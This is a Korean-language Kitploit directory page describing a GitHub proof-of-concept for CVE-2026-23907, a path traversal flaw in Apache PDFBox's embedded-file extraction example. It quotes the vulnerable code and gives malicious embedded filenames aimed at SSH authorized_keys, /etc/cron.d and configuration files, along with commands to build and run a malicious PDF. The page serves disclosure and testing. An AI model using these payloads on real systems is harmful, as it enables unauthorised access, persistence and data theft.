Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23907 — Apache PDFBox 경로 탐색 취약점(CVE-2026-23907)에 대한 개념 증명 익스플로잇으로, 악성 PDF에 포함된 파일을 통해 임의 파일 쓰기를 시연합니다. | Kitploit
도구/GitHubGitHub/joakimbulow/cve-2026-23907
Vulnerability AnalysisExploitationWeb Application ExploitationMalware AnalysisPenetration TestingBinary Analysis
GitHubjoakimbulow/cve-2026-23907

CVE-2026-23907

Apache PDFBox 경로 탐색 취약점(CVE-2026-23907)에 대한 개념 증명 익스플로잇으로, 악성 PDF에 포함된 파일을 통해 임의 파일 쓰기를 시연합니다.

저장소 보기
57개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache PDFBox 경로 탐색 취약점

취약점 요약

설명

Apache PDFBox의 ExtractEmbeddedFiles 예제 코드는 PDF에서 포함된 파일을 추출할 때 파일 이름을 검증하지 않습니다. 공격자는 경로 탐색 시퀀스(../)가 포함된 파일을 삽입하여 임의의 파일 시스템 위치에 파일을 쓸 수 있습니다.

취약 코드

파일: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java

root@kitploit:~
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
        throws IOException
{
    String embeddedFilename = filePath + filename;  // NO SANITIZATION
    File file = new File(embeddedFilename);
    File parentDir = file.getParentFile();
    if (!parentDir.exists())
    {
        parentDir.mkdirs();  // Creates arbitrary directories
    }
    try (FileOutputStream fos = new FileOutputStream(file))
    {
        fos.write(embeddedFile.toByteArray());  // Writes to arbitrary location
    }
}

filename 매개변수는 검증 없이 PDF에서 직접 가져옵니다.

영향

  • 임의 파일 쓰기: 애플리케이션에 권한이 있는 모든 위치에 파일 쓰기 가능
  • 권한 상승: SSH 키, 구성 파일 덮어쓰기
  • 원격 코드 실행: 실행 파일, cron 작업, systemd 서비스 덮어쓰기
  • 데이터 파괴: 중요한 시스템 파일 덮어쓰기

공격 시나리오

  1. SSH 키 주입

    • 포함된 파일 이름: ../../.ssh/authorized_keys
    • 내용: 공격자의 공개 키
    • 결과: SSH 접근 권한 획득
  2. Cron 작업 주입

    • 포함된 파일 이름: ../../../etc/cron.d/malicious
    • 내용: 악성 스크립트
    • 결과: 권한 상승 + 지속성 확보
  3. 구성 파일 덮어쓰기

    • 포함된 파일 이름: ../../config/database.yml
    • 내용: 악성 자격 증명
    • 결과: 데이터 유출

개념 증명(PoC)

포함된 파일

  • create_malicious_pdf.py - 경로 탐색이 포함된 악성 PDF 생성
  • TestPathTraversal.java - 취약점 시연
  • test_path_traversal.sh - 자동화된 테스트 스크립트
  • malicious_path_traversal.pdf - 사전 생성된 악성 PDF

PoC 실행

빠른 테스트

root@kitploit:~
./test_path_traversal.sh

수동 테스트

root@kitploit:~
# 1. 악성 PDF 생성
python3 create_malicious_pdf.py

# 2. 테스트 컴파일 (PDFBox JAR 필요)
javac -cp pdfbox-app.jar TestPathTraversal.java

# 3. 테스트 실행
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf

# 4. 경로 탐색 확인
cat /tmp/path_traversal_poc

예상 출력

root@kitploit:~
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc

영향을 받는 버전

  • Apache PDFBox 3.0.6 - 취약점 확인됨

영향을 받는 구성 요소

  • ExtractEmbeddedFiles.java 예제 코드
  • 유사한 패턴을 사용하는 애플리케이션
  • 검증 없이 PDComplexFileSpecification.getFilename()을 호출하는 모든 코드
도구 다운로드